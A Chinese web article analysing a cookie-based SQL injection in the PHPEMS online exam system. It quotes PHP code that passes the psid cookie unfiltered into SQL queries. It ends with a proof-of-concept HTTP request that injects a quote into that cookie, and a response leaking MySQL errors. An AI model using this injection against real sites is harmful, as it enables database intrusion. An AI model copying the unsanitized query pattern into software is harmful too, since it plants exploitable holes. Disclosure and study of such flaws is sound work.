phpems 二次开发手册|phpems SQL注入(cookies)分析研究

更新时间:2019-05-20    来源:开发手册    手机版     字体:

【www.bbyears.com--开发手册】

使用本系统,您可以快速搭建用于模拟考试的网站平台,实现无纸化考试、真实考场模拟、知识强化练习等功能。可满足培训机构、学校、公司等机构各种考试需求。

 代码如下

public function __construct(&$G)
    {
        $this->G = $G;
        if (ini_get("magic_quotes_gpc")) {
            $get    = $this->stripSlashes($_REQUEST);
            $post   = $this->stripSlashes($_POST);
            $this->cookie = $this->stripSlashes($_COOKIE);
        } else {
            $get    = $_REQUEST;
            $post   = $_POST;
            $this->cookie = $_COOKIE;
        }

        $this->file = $_FILES;
        $this->get = $this->initData($get);
        $this->post = $this->initData($post);
        $this->url = $this->parseUrl();

    }

..........
    //获取cookie
    public function getCookie($par,$nohead = 0)
    {
        if(isset($this->cookie[CH.$par]))return $this->cookie[CH.$par];
        elseif(isset($this->cookie[$par]) && $nohead)return $this->cookie[$par];
        else return false;
    }

如果用户开启了GPC,程序员还特意使用stripSlashes()给关掉。

 代码如下 public function getSessionId()
{
    $sessionid = $this->ev->getCookie("psid");
    if(!$sessionid)
    {
        if($this->ev->getCookie("PHPSESSID",1))
        {
            $this->ev->setCookie("psid",$this->ev->getCookie("PHPSESSID",1),3600*24);
            $sessionid = $this->ev->getCookie("PHPSESSID",1);
        }
        else
        {
            $sid = md5($this->ev->getClientIp()."/".$_SERVER["HTTP_X_FORWARDED_FOR"]."/".$_SERVER["REMOTE_ADDR"].":".$_SERVER["REMOTE_PORT"].":".$_SERVER["HTTP_USER_AGENT"].":".date("Y-m-d"));
            $this->ev->setCookie("psid",$sid,3600*24);
            $sessionid = $sid;
        }
        $data = array("session",array("sessionid"=>$sessionid,"sessionuserid"=>0,"sessionip"=>$this->ev->getClientIp()));
        $sql = $this->sql->makeReplace($data);
        $this->db->exec($sql);
    }
    $this->sessionid = $sessionid;
    return $this->sessionid;
}
获得psid参数并起保存在$sessionid里
//修改考试会话内容
//参数:会话内容数组
//返回值:true
public function modifyExamSession($args)
{
    $sessionid = $this->session->getSessionId();
    $data = array("examsession",$args,"examsessionid = "{$sessionid}"");
    $sql = $this->sql->makeUpdate($data);
    $this->db->exec($sql);
    return true;
}

任意找了一个进入数据库的地方。
从上面过程看到,没有做任何过滤就进入数据库了。
Request:
POST /index.php?exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://phpems.0day5.com/index.php?exam-app-basics-detail&basicid=4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: exam_psid=c6f1b7acd452e6d72a3ede0f501a9211"; exam_currentuser=%25B4%2585%258B%2585%25CE%25BE%258D%257C%2586%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25BC%25AFu%2586%25C6%2585%2585%2585u%2581%258Bm%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C3%25AC%25C6%25BE%25CA%25BA%25C5%25AFu%2586%25C6%2585%2586%257D%258Dm%258C%2581%25B8%2582%258C%257D%2584%2583%258C%2581%2588%25B0%25B5%2582%2585%25AE%258C%257D%25B4%2580%2587%2584%25B7%25AF%2588%25AC%2586%257E%2583%257C%2584%257Du%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25BBu%2586%25C6%2585%258C%2585u%257C%2585%2582%2581%257B%2581%257B%2581%257Cu%2586%25C6%2585%2584%257F%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B2%25C5%25BA%25C8%25BB%25BC%25AFu%2586%25C6%2585%2584%2585u%2583u%2586%25C6%2585%2584%2581%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B7%25C2%25B2%25BC%25B9%25C7%25B4%25C0%25B0u%2586%25BC%2585%2584%257E%258B%2584%2588%257C%2589%2582%258B%257E%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25C1%25AC%25C0%25B0u%2586%25C6%2585%2589%2585u%257C%2584%257C%2584%257C%2584m%258E%25BE%258D%257C%2589%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C7%25B4%25C0%25B0%25BF%25B4%25C0%25B4%25C7m%258E%25B4%258D%257C%2586%2583%258C%2580%2584%2581%258A%2583%2586%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25AFu%2586%25C6%2585%2586%257D%258Dm%25B6%2581%25B9%257C%25B5%2582%25B4%25AE%25B7%257F%2588%257D%25B8%2581%25B7%2582%2585%25AC%2586%25B0%25B7%25B0%2583%25B1%2588%257B%2584%25AC%258C%257D%2584%257Cu%2586%25D0; CNZZDATA5243664=cnzz_eid%3D2105242747-1389515449-%26ntime%3D1389515449%26cnzz_a%3D3%26sin%3Dnone%26ltime%3D1389515448225

Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP=CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset=utf-8

ERRO:SELECT * FROM x2_session AS session WHERE sessionid = "c6f1b7acd452e6d72a3ede0f501a9211"" LIMIT 0,100:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""c6f1b7acd452e6d72a3ede0f501a9211"" LIMIT 0,100" at line 1ERRO:UPDATE x2_session AS session SET `sessionlasttime` = "1389519134" WHERE sessionid = "c6f1b7acd452e6d72a3ede0f501a9211"":You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""c6f1b7acd452e6d72a3ede0f501a9211""" at line 1
漏洞证明。

本文来源:http://www.bbyears.com/shipin/51841.html

热门标签

更多>>

本类排行